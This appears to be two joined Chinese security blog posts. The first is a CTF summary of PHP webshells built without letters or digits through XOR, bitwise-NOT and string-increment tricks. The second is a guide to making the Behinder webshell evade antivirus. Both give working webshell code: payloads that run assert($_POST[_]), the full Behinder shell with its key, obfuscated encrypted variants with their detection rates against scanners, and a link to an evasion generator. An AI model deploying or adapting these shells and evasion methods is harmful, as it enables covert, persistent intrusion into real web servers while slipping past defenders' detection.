前言前段时间在刷CTF题目的时候碰到了各种过滤,其中给我印象最为深刻的是无字母数字Webshell,但是刷题的时候总觉得理解不是那么透彻,于是考虑写一篇总结文章好好总结一下。

背景所谓的无字母无数字Webshell无法就是对如下原型代码进行绕过

<?php
    if(!preg_match('/[a-z0-9]/is', $_GET['shell'])){
        eval($_GET['shell']);
    }
?>

思路思路梳理

首先,绕过的核心思路是,将非字母、数字和字符通过各种变换,最后能构造出a-z中任意一个字符,最后利用PHP能够动态执行函数的特点,拼接出一个函数名,然后动态执行即可。

为了方便进行研究这里的一句话木马统一用assert函数,并且基于PHP5进行研究。

思路一 异或法

众所周知,在PHP中两个字符串执行异或操作后,得到的还是一个字符串,所以可以考虑通过两个非字母、数字的字符进行异或操作,得到我们想要的字母即可。

使用如下代码可以获取任何我们想要的字符,只需要将其中的字母a改为我们想要的字符即可

<?php
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j < 256; $j++) { 
        if(chr($i ^ $j) == 'a'){
            echo(urlencode(chr($i)) . "  " . urlencode(chr($j)));
            echo "\n";
        }
    }
}
?>

因为很多字符无法打印,采用url编码进行表示了。

所以最终构造的php代码如下:

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__; // $___=$_POST;
$_($___[_]); // assert($_POST[_]);

放入我们的环境中进行测试

payload:

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

看到这里肯定有很多刚接触的小伙伴会疑惑,明明里面有01、13等这种数字,为什么还能正常执行,在这里解释一下,这里的%01是进行了url编码,当传入时,系统会进行url解码,当进行解码以后就不会包含任何字母数字,而只是单纯的符号组成的webshell。

思路二 汉字取反

第二个思路是位运算里的“取反”,利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如新{1}取反得i

利用这个特性构造我们的payload(在文章最后会给出一个汉字取反字母表):

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

看到这里有小伙伴会疑惑,取反的时候的1和2如何获取的,这里利用了PHP弱类型的特性,在PHP中true的值为1,故true+true=2,所以('>'>'<')+('>'>'<')==2

思路三 字符变量自增

思路三的话没有延续前面两种思路的方法,使用位运算,而是根据php的特性进行操作,在处理字符串变量的算术运算时,PHP沿袭了Perl的习惯。

<?php
$a = 'Z';
$a++

上面这段代码,经过运算后,$a将变成AA

所以,当我们有了a以后就能获取a-z任意一个字符。

于是我们要考虑如何获取变量a,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,且数组的值为Array,这样的话我们再取第一个字母就能得到字母A了。

于是最终的Payload如下:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

附录汉字取反字母表

a实[2]
b来[1]
c在[1]
d国[1]
e的[1]
f这[2]
g是[1]
h时[1]
i他[2]
j法[2]
k用[1]
l体[2]
m和[1]
n我[2]
o成[2]
p可[1]
q后[2]
r不[2]
s和[2]
t下[2]
u上[2]
v有[2]
w我[1]
x出[1]
y了[2]
z其[1]
A得[1]
B国[2]
C於[2]
D以[1]
E了[1]
F对[2]
G一[1]
H工[1]
I时[2]
J电[2]
K年[2]
L法[1]
M没[1]
N就[2]
O到[2]
P是[2]
Q定[1]
R中[2]
S们[2]
T高[1]
U个[2]
V物[2]
W在[2]
X大[2]
Y要[1]
Z以[2]


前言作为一个打点菜鸡最经常碰到的一个问题就是马被杀的情况。

前段时间打靶机,因为开的防护太狠了,给我的冰蝎马删了,于是便有了这篇文章

首先有请我们今天的一号嘉宾——冰蝎的原版马子

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

看一下VT结果:

直接g了个大g

再看一下webdir+的

不出所料也是g了

shellpub还是一样

再来两个常见的,河马和D盾:

梅开二寄

三生三寄

综上所述,一号嘉宾是被各大杀软标记的死死的,因此如果想要用冰蝎的话我们就需要做免杀了,然而对于一个编程菜鸟而言最好的免杀方法就是站在巨人的肩膀上。

花式免杀php加密

首先是phpjiami网站进行加密

https://www.phpjiami.com

<?php /* PHP Encode by  https://Www.PHPJiaMi.Com/ */error_reporting(0);ini_set("display_errors", 0);if(!defined('ponklhon')){define('ponklhon',__FILE__);if(!function_exists("�閌���")){function �����ޘ($������){global$���˸����,$������,$��������ԇ,$�龔���,$�����������,$Ŝ��闟�,$����솮����,$�������,$�ڈ�ŷ,$��������,$���ٜ����,$�Ֆ����۵,$��痳���,$�����β��ɦ,$���鰢����,$Ϗ�܆�����;$��������=$���냸=$���ŗ瘴���=$̚������=$�Ņ������=$�������=$����獝��=$�����Ǭ�ҿ=$а������=$���٬�=$����ƕ��=$Æ����҄��=$�Ǖ�Ǜ���=$ԋ��Ŀ���=$��¦����Û='��������';$���ʹ��=$��������('E1AS���ZR1��W�VYXA==');$�������=$��������('B1EH');$������֑�ƞ=$��������('AFQL');$�����=$��������('D�EBR��MX�5�');$�ź�����ޗ�=$��������('U��SBQ==');$�ʕ������=$��������('A��FV�==');$��쫜Ɨ���=$��������('A��FQ�==');$��ٛ�����=$��������('K2�2ZT���GB�');$��������=$��������('MH0�Y�F��HJ8�DY=');$����ś�=$��������('MX0���B9�HJ8�DY=');$���ʹ��()==$������֑�ƞ?$�������():'';$���ϓ�=$���˸����($Ŝ��闟�($��������('E1�MX��QWF0=')));if(!isset($_SERVER[$��ٛ�����])&&!isset($_SERVER[$��������])&&!isset($_SERVER[$����ś�])){$�������();};$�ʕ������=$�����(true)*$�ź�����ޗ�;eval("");if(($�����(true)*$�ź�����ޗ�-$�ʕ������)>100){$�������();}eval($��������('C�5KR�BKR1�LHD�������21�HR�SDV5ZDV9XC��WQA��GFI�H��SS1FAA�BXB���CU4='));!$���ٜ����($��¦����Û($������($���ϓ�,$���냸('T��X'),$���ŗ瘴���('T��='))),$�����β��ɦ($������($���ϓ�,$�Ņ������('U�=='),$�������('T��U'))))?$��è����():$�����������;$�ɒ�҂�����=$����獝��('T�9RDQ==');$Ϳ������=$�����Ǭ�ҿ('T��U');$Ϳ������=$��痳���(@$�ڈ�ŷ($����ƕ��($������($���ϓ�,$�ɒ�҂�����,$Ϳ������))));return$Ϳ������;}function �閌���(&$��۲�������,$����������){$��������=$���냸=$���ŗ瘴���=$̚������=$�Ņ������='��������';$����᥊����=$��������('EE�Q��ZXQ�IL');$�ք�����=$���냸('EE�QR�FO');$��ޙ�����=$���ŗ瘴���('BEIXW��XW�NKUR�G');$������=$̚������('EE�QXBRLW1JLXAFG');$�ۛ��Ƀ=$̚������('B�ASWQ��U�==');$������Ҽ�=$����᥊����($�ք�����($��ޙ�����($������($�Ņ������('G+J���829AM�MU���4+DCD���Z�IZ��Q�A5F�W���/�P��0H7�/X3��W�6�9�D�V�WK�SC�M�LV��L�5�1Q�LC0�V�CKS��G��H1YL��M5WEUZ��WS�Z�T�FLU48W�Z9��45�+QQ��0F�3/T0Y5Q4K3K7PNLABBV0�HE��4N���6Z������THQ4Q��VO4��1��K�')))));$���ᨩ��=$�ۛ��Ƀ(',',$������Ҽ�);$��۲�������=$���ᨩ��[$����������];}function ��������($ǴЯ������,$����ۂ�=''){$����='base64_decode';$�����β��ɦ=$����('bWQ1');$�ؚ����ʨ��=$�����β��ɦ('������');$�ݘ�=$����('b3Jk');$��ă��=$����('c3RybGVu');$�Í����ũ�=$����('Y2hy');$����ۂ�=!$����ۂ�?$�ݘ�('�'):$����ۂ�;$���������=$�˺�����;for(;$���������<$��ă��($ǴЯ������);$���������++)$���������.=$�ݘ�($ǴЯ������{$���������})<$�ݘ�('�')?(($�ݘ�($ǴЯ������{$���������})>$����ۂ�&&$�ݘ�($ǴЯ������{$���������})<$�ݘ�('�'))?$�Í����ũ�($�ݘ�($ǴЯ������{$���������})/2):$ǴЯ������{$���������}):'';$Ϳ������=$����($���������);$���������=$�˺�����;$�ݘ�=$��⛹�=$��ă��($�ؚ����ʨ��);for(;$���������<$��ă��($Ϳ������);$���������++){$�ݘ�=$�ݘ�?$�ݘ�:$��⛹�;$�ݘ�--;$����������.=$Ϳ������[$���������]^$�ؚ����ʨ��[$�ݘ�];}return$����������;}}}global$���˸����,$����”��,$������,$��������ԇ,$���������,$�龔���,$�����������,$Ŝ��闟�,$����솮����,$�������,$�ڈ�ŷ,$��������,$���ٜ����,$�Ֆ����۵,$��痳���,$�����β��ɦ,$���鰢����,$Ϗ�܆�����;$���лݮ��=$���і�=$��砜������=$ǂ�����=$�������=$���������=$ʿ���=$�����=$�ߒ�Ф=$������=$ͯщ����ۊ�=$�������=$����������=$��ӏ����=$�������=$���̐�=$���Ӕ�=$�����˦=$�Ս��˴='�閌���';if(!$���˸����){$���лݮ��($���˸����,8);$���і�($������,9);$��砜������($�����������,10);$ǂ�����($�ڈ�ŷ,4);$�������($��������,13);$���������($���ٜ����,12);$ʿ���($�Ֆ����۵,2);$�����($��痳���,14);$�ߒ�Ф($�����β��ɦ,15);$������($���鰢����,16);$ͯщ����ۊ�($Ϗ�܆�����,17);$�������($����솮����,18);$����������($�������,19);$��ӏ����($Ŝ��闟�,11);$�������($�龔���,5);$���̐�($��������ԇ,6);$���Ӕ�($����”��,1);$�����˦($��덜�,3);$�Ս��˴($���������,7);}$��������=$���냸=$���ŗ瘴���=$̚������='��������';$������=$��������('PF49');$Ϳ������=�����ޘ($$������);$���鰢����($Ϗ�܆�����($$������));$�Æ����֏�=$�������($Ϳ������);eval($��������('B�4DWU��V�B�A�B�XQAHXVZWGR3R���I5�����2�SB5Y'));$����������=$���ɓ������;$���鰢����($Ϗ�܆�����($$������));return$����������;?>G+I�Z��X5HM�C�+KW��96�SRTY�LS�6��XS2�D��9�/P�LT���XT�HF�1���JSZ6����H�Z�QZI2TX009��IX���TYUP��VYN9�TW�/Y/�/��W8WHH�TDH0S8��/0FH9C�ZK�E����QK�����3KR�T4��AHSZMY��R���A�GJ�4CKDETAE����T0��WA�XXTEFL�6�K���H�X�AF�T06��4����Y�+R+S�T++PS����Q���C����7V�IB��MUR+YXI�+3��FC2��6ZG+8�7���R�/+NZ�M�B�MH��7X7�����3�RVJ1�XWM6�T�+5�M1PXX�5X/���TR��M�9X��F/�����V874�L9U�H��CRH�0EDC�����/7�YD�E��WUBJ�GR26S��SX�HP7R�R5K�����NKZ1IWGTP��RX�����4PFVF��6�C��9J�I�O3UGQ�KW�K3�A�3�V�MU1��2��J�ME��7F0NY�K���V���L6��I��O����9D�A/�W���Y�IH���L�0KQ�HHP�D�G�4N���DLQ��CWV9P��NM�H+�4��J1��GI3ZW�Y7J�YN��0F�H�X�GD��U��+ZW�9���5KYXJ�R��M�OMRSA�N��BV3�9/H0S����TG����+GO�VFG8KKHZ�D��Y�CI4���M�8A�Y���IRJYF�MT�E0S�O�WC��Y=�3QBXA1AMVFAOVQIDX1AGA�EFB��EV��CU�QJAFACBFF�;

加密后的效果

vt 1/60

webdir+

Shellpub 被查杀了

河马绕过

D盾显示为加密脚本

安全狗绕过

总的来看效果还不错,但是还不是很完美

dezend加密

http://dezend.qiling.org/encrypt.html

<?php define('qaTlBO0928',__FILE__);$RJnsMB=base64_decode("bjF6Yi9tYTVcdnQwaTI4LXB4dXF5KjZscmtkZzlfZWhjc3dvNCtmMzdqb0xHS0JldWFzdmJyZmRrbnFYQWpTT01JRXpwd1ZXaG1pUEZVUUR0TkpnSHh5Q2xZY1JUWg==");$RbIpPB=$RJnsMB[3].$RJnsMB[6].$RJnsMB[33].$RJnsMB[30];$qBrwwx=$RJnsMB[33].$RJnsMB[10].$RJnsMB[24].$RJnsMB[10].$RJnsMB[24];$VUolAs=$qBrwwx[0].$RJnsMB[18].$RJnsMB[3].$qBrwwx[0].$qBrwwx[1].$RJnsMB[24];$FTwRMz=$RJnsMB[7].$RJnsMB[13];$RbIpPB.=$RJnsMB[22].$RJnsMB[36].$RJnsMB[29].$RJnsMB[26].$RJnsMB[30].$RJnsMB[32].$RJnsMB[35].$RJnsMB[26].$RJnsMB[30];eval($RbIpPB("JFhlaEFLeD0iWkp3emduU2NldUVHTEtOUWtQZm1zQ09XcmxGWVZqeXhUSVVSWGFpSG9iZHBxQWh0QkRNdkVHdWZaZVRXbVN6c1VsUXFwUGpiUkhjT1hoTER5aVl2QU1hclZnSmRuQmtGb0tJdHd4Q05QeDl1Z2RLWkVzeWJnTzVobEhrdHEycnhPeW51Y0FNNEdZdnZEeXJScXA4dWNBTTRsQVJwT2hoZlQwaERQT0dJVzJhMlFMOXBFT1FORXNhbk1iR29yaUVFZ0FoME95ck9EMnJTYVZrSXl6cDBBTElIUXNyRHJpeVVnaEZmRDIxMGcxRjZCc0VneTJJb0RmUXBrcDV4a3MxUW1icnZEMnZnV0xGdHJleVRPekd5YXBrMGF5clNPYjVwcjJJVU9BRzRraEdYRXp2YXJwRTZ5aVFuQ095T0FlTGdyYUUwYUFLdmd5a1JCTEVoZ2ZoUkQxeWxPT3F1QkxRQXFBMDlNSnA3R3MxSm1wdGZBQTBwT2hoZlQwaERPZlFrVUpyZ09WUVVUeUlCUWgwU0dMRkVXMHRHT0xSZkMxMFNHTEZFVzB0R09MUmZDTDA3R0xMM2dPRVlXQTBwT2hoZlQwaERPZkNmVlQ0cE9oaGZUMGhET2Z6dVZUNHBPaGhmVDBoRE9mTTBWVDRwT2hoZlQwaERPZnp1VlQ0cE9oaGZUMGhET2ZNMFZBUnBEZXlua2VGMVBUcnJrMmhiV2VMQkNMMFNHTEZFVzB0R09MUnZjTDBTR0xGRVcwdEdPTFJmVlQ0cGFWa0ZFZUd2T2Z3a1VKcnJrMmhiV2VMQkN5MFNHTEZFVzB0R09MUllRTDA3R0xRdmdldzRyQTBwT2hoZlQwaERPZmtrVUpyZ09WUVVUeUlCQ0FRa2NZcnREZUZVVzAwU1BUcmdPVlFVVHlJQkNpR2tVSnJnT1ZRVVR5SUJDZkVrVUpyZ09WUVVUeUlCQ2loa1VKcmdPVlFVVHlJQkNpRWtVSnJnT1ZRVVR5SUJDZndrVUpyZ09WUVVUeUlCQ2ZHa1VKcmdPVlFVVHlJQkNmeWtVSnJnT1ZRVVR5SUJDaUVrVUpyZ09WUVVUeUlCQ2Z3a2MyeTJET3VuR3MxSm1wdGZBVFpKVHBFc21oUU1PZUxJcnh3Rk9BUXVnT01ZbWRoQVRMRll5TzVjcTF5ZE9lSWdDYklPT2h5cFFPcnNhcHlBQ3h5UUQwVzFPaGtScmhycE9zckR5YnRna0xxWXJlTGF5MnZzT3B5UlFMTHlXTGhyQ2hNMHl4TFRCYnlSQWVMZ3lhNVRPeXlzQnlDdVRoaEpyZXdOYWI1Y2tPTFZUYkZwQ0xFM3lMV3ZBeUdMQnpoeXJidlB5YjVnVHNRVmtkaHlCaEcyRUxFcHloUVNCekdJeXN2R2FpTGNPTExYcmlyY3J4d0ZBZkdPQ2hoVmsyOWxtaVpYVGVwMGcyR1ZUaUVBQzA1Y1QwUVRhYnFZQnMxaUJweU5UcGtsQ09MTU9pRXBhMmtYeXlJY1RPcnRXczlDcTFHYUQxa3VrMnlMeVZMUWdPdGZUcGtsQ09MTU9pRXBhMmtYeXlJY1RPcnRXczlDcTFHYUQxa3VrMnlMeVZRbHJwNTRETzVIUUxHQWczUWxyMG52RGFJZ1FickFFMnR5T3o1R0VzMXVCMHZ6cVZRbHJwNTRETzVIUUxHQWczd1VhMlIzTUpwRmNmOCtQeDl1Z2RLWkVzeWJnTzVobEhrUWdkTGdPTHp1Y0FNNEdZdnZEeXJScXA4dWNBTTRsQVJwV092THIwOWhQT0dJVzJhMlFMOXBFT1FORXNhbk1iR29yaUVFZ0FoME95ck9EMnJTYVZrSXl6cDBBTElIUXNyRHJpeVVnaEZmRDIxMGcxRjZCc0VneTJJb0RmUXBrcDV4a3MxUW1icnZFTHk0Z3lxWVd6cnlDcDQyYXlrVFRMRURPcDlBZzJJMER5SVRxMkdzcWI5Vk9zckF5cFc1UU95TE9leWdnMUVWT2lRSEFoR2RrTElFeWJJbGFmTHNtaEZPV2RJaUVmMDlNSnA3R0x5NnEwSVNhQTBwV092THIwOWhPZlFrVUpydkJ6eWRBMnlCUWgwU0dkTFJyYWtQRXlSZkMxMFNHZExScmFrUEV5UmZDTDA3R0xFUU9wdGVhaTBwV092THIwOWhPZkNmVlQ0cFdPdkxyMDloT2Z6dVZUNHBXT3ZMcjA5aE9mTTBWVDRwV092THIwOWhPZnp1VlQ0cFdPdkxyMDloT2ZNMFZBUnBEMnJTRFZGMVBUck9BeUZVRTFHQkNMMFNHZExScmFrUEV5UnZjTDBTR2RMUnJha1BFeVJmVlQ0cHlwMWdUMmtUT2Z3a1VKck9BeUZVRTFHQkN5MFNHZExScmFrUEV5UllRTDA3R2RFTnJiTDJ5aTBwV092THIwOWhPZmtrVUpydkJ6eWRBMnlCQ0FRa2NZcnltcFFNQmh6U1BUcnZCenlkQTJ5QkNpR2tVSnJ2Qnp5ZEEyeUJDZkVrVUpydkJ6eWRBMnlCQ2loa1VKcnZCenlkQTJ5QkNpRWtVSnJ2Qnp5ZEEyeUJDZndrVUpydkJ6eWRBMnlCQ2ZHa1VKcnZCenlkQTJ5QkNmeWtVSnJ2Qnp5ZEEyeUJDaUVrVUpydkJ6eWRBMnlCQ2Z3a2MyeTJET3VuR0x5NnEwSVNhVFpKVHBFdVdPUVhjYXJneXh3RkRpTTFXMUVEcmh5VmcySUF5MHljQmJyWGNhOWh5cEVWYXBJbnEyUU1XTHJWeUFMTkRPdE9Bc0xERXMxaUNlck1hMUlsZ3lHWFd4d09DaEdIRUx5NGdMcFl5ZXJ5clZJYU9oa2xxMXlYT2hFaUJoR3lFeExScWhRVkFwOUpDVnduRDFrZ1QxR3lFZHlweWE1TnkwSVJUeXlNcWJ0cEJPcnZEaGswbWJMT09pRWF5M1oweXhMc09MR0xrenZWZ2J2R3l4TE9BaGtMUUFHSkNwNVRhcHJSZ2JyekFlRmd5cERZQTFrY1FicnR5ZVFUQmE0ZmEwRW5hMlFzZ0xHUUJBaFV5eXJsQkxrVkNPdlB5VksyRXMxMGdieVJhaVFnZzBFR3l6SXBCaEVMQ0FRaUMxRnVPaEVwYTAxTUJ6a3lnZnI0YWJ2bGt5cHVyaGtUQnlFTWFBTTVnMUxPVGI1UXlPcTFPZUZwQmhFemdMRmNCc2tZT2hyT2F6UmZPQUdUQnNJUkFoSW5RYTVvT2lyVUNPQ3Z5enJnQno1eWNkR3BnaGFZeXBJc2t5UVNnc3RWeU9RNER5eWdET3JkeWlRaHJWd2FhcHk0YTFGREJ6SVFyMEVsRHB5eVF5enZEM0dQcmE1SGFwcnByeUxEQmRRZ2cwRDFBeExjVzFxdXJiMU9DeUZnRUxrNE9zcWZFeHdpQ2hFTWFwVzRDT0dhVEFMZ3JoTWZPcGtUQ3oxeUJkR0VncEVsRGZMR2swNVZDVkZRQnBHYUV6RUdrMUZMY2RoSm1oRUhhMHk0bWh5YVRlRUFCenk1T2hFUmtMRmFnM0Z5eXlHUkFheWdrcDl5QWVycGdidlVhYnRPQzFGWHJwaGFUejU2eWhJc09oeWFBcDlQeXlGTE9oSUhyMkc2QkxyVEJoRzV5YXlpbWE5Vm14RXBCQWhmRU92T2t5cmRFTHJpeVZJVHkydDRPYnl6VGJ2SnJwRU9EZUZIQmJ5VmFBUU9Uc3JST2J0Z1FPcWZ5cGtwVEx5M2FidkVDeVFYY3lrUHkzWnVBTzFzT2hNdk9laGd5eUZ5RXhMY2t6MGZyYnZKeXA1bGEyMHZ5eXlWT2hoYWczSTZ5aXduQU9DdmFwRWlncEdDYWhJY1F5TWZhcEZneU92ekQydkhCYnlhYWl5VEJoRjJhQU11bU9RdHliNXJDMEdFeXBhMWcxRnNyaUdQeVZLMnkyRkhnMnlSYWlRZ3JwRFlBMXl1UWhFemFpeWdDMnZYQWlMVEMxRk1BaHlwQ2hHNmFidHJReXB2Z0x5aUJ5RkN5T1J1QzJDZk9idFBycHk2RDIxY2tzcnRjVlFWcmhHNWEwV3VtaFFhcWhoeUJwR1h5eHdPazJMUmd6RWl5c3J5RXlhdkMxbnZhcDVpQ3lHUE9wSXBtaEVEcmhGeXl6NTVEaEljQ2hGRFdzNVZncE1mRGZMT21Ma09yVkZpQkFMNkVzMU9RYnJNQmRoSWcxbnVPaFd2bWJydGFlTEpnMUVNT3l5UmtwMXpFczVheVZaZk9pTFRBYnF2YXA5Z1R6NXJ5c3Q0bWh5TFFhMWlDTEZWT3l5dXIxclhtZEZPQ3NJUURmTFRyYlFYZ2RyUUNzdDNhZkxFUXlRTE9oa2N5VndUQU8xc2F5R1NPZUVyQ2FFYU9oeW5RaEVNRXN0eU9McDFhMjV1eXlRTUVzNWdyM3JZT090dUIxcHVyaHlnQzBHU3lwSWxXeUdTYWJ0Z2cwRUd5ekljYXlyWG14UWdDeUdjRXhRY0NiellBaEdybXBFUnlpTE9tc1FkQ2RoaUJ5RUV5cElOUXNDWUFwaGdycERZQTF5dVFoRWRhQVFPVHN2Y0V4R3B5eXJWYXBreUNpaGZhaXdOazFGTEV4d2lDcDVWYTI1c1FoTHlnejFwQ2JyeXlMSXBtaEVEcmlMeXl5R1lEeUVzVDAxZGFwSXBUejVveWJ0dVdieVhycGhhVHo1TUFPMXNDeXlhQWV5cEN4cjZEeXluUWhFU0Fla2FDeUYxRXh3Z3lzTVlteklRQzBGdERockdDc3FmYVZJUHkxRjB5QXdnT2hyNlRiaGFUejVPeUxrZ0JoRVZCc3ZoZzFHWUQwRW55T1FYZ3hyaHkycTF5MEVsV3o5T3FwOWFUc3JTeXBhdkMxclNPcEZweWZ6WU95RUhRYnJMQnN2eXkxYTFhcEl1eTA1eUFoaHBnaEVSRU8xY21Ma1JnTHlnVHpHNnloSXNDeXl5YWVHSXlwRW9PcHJweXlMNkUzR09Uc0M1YUxRR1ExRkRPYklKcTJrU2FkbjBCcHZGYWhFaGcwNUdEYnZMQjBGc09wNVZnM3JTeU9oZWcxcFlhZXlFT2RLdlQwUVRET0xTVGh3ckNoeWZUcElna2hHdHJpR09nTzk1VDFRM2cxcFlhZXlFT2RLdlQwUVRET0xTVGh3ckNoeWZUcElna2hHdHJpR09nVmtYRXMwNXIxaERPaGtVYTNrWE9BR1RreWhEV3hMVXExR0lETzVsYUx6WXlWUVFxM2tYRXMwNXIxaERPaGtVYTJ0dVQxcmZQVE1GbEFSL1BaPT0iO2V2YWwoJz8+Jy4kUmJJcFBCKCRxQnJ3d3goJFZVb2xBcygkWGVoQUt4LCRGVHdSTXoqMiksJFZVb2xBcygkWGVoQUt4LCRGVHdSTXosJEZUd1JNeiksJFZVb2xBcygkWGVoQUt4LDAsJEZUd1JNeikpKSk7"));?>

加密后的效果

vt 0/60

webdir+检测为后门

shellpub检测为后门

河马检测为后门

D盾检测为加密文件

安全狗检测为后门

事实证明dezend的免杀效果不是很好,除了vt以外其他的基本上都检测了出来,再换个姿势

ByPassBehinder

工具下载地址:https://github.com/Tas9er/ByPassBehinder

这款工具是由Tas9er师傅开发的,好处是使用者无需免杀马的具体实现过程,只需要将生成器放入64位的windows系统中运行即可得到一个免杀的冰蝎吗,免杀效果如下

vt 2/61

webdir+ 绕过

shellpub绕过

河马 绕过

D盾 绕过

安全狗 被查杀

整体来看除了无法绕过安全狗外其他的大部分杀软都能绕过。

总结对于webshell免杀而言,其实就是跟杀软的检测机制的博弈,杀软的检测机制随着机器学习算法的加入在不断的增强,也就意味了一个免杀马的存活时间注定不会太长,通过现成的webshell生成器终究不是长久之计,只有自己不断学习免杀的思路才是王道。

参考文章https://xz.aliyun.com/t/11149
https://www.secpulse.com/archives/184357.html
https://www.cnblogs.com/Article-kelp/p/14852485.html
https://blog.csdn.net/weixin_43940853/article/details/104553873
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html?page=2#reply-list